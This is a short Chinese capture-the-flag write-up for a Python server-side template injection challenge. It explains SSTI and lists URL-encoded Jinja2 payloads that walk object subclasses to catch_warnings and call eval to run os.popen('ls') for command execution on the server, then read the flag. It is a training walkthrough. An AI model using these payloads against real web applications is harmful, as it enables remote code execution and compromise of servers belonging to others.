国外java php攻防世界Web_python_template_injection
打开题⽬:
题⽬提⽰为Python模块注⼊:
1⾸先判断⼀下:
⽹址输⼊“{{7+7}}”页⾯显⽰14,说⾯存在“SSTI” :
SSTI也是获取了⼀个输⼊,然后再后端的渲染处理上进⾏了语句的拼接,然后执⾏。当然还是和sql注⼊有所不同的,SSTI利⽤的是现在的⽹站模板引擎(下⾯会提到),主要针对python、php、java的⼀些⽹站处理框架,⽐如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运⽤渲染函数⽣成html的时候会出现SSTI的问题。
2j接下来:“%7B%7B[].__class__.__base__.__subclasses__()%7D%7D”,来查看所有模块
3,os模块都是从warnings.catch_warnings模块⼊⼿的,在所有模块中查catch_warnings的位置,为第59个"%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D"
查看catch_warnings模块都存在哪些全局函数,可以到linecache函数,os模块就在其中
4,然后使⽤['o'+'s'],可绕过对os字符的过滤,
“%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D”
访问:“flag”⽂件;

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。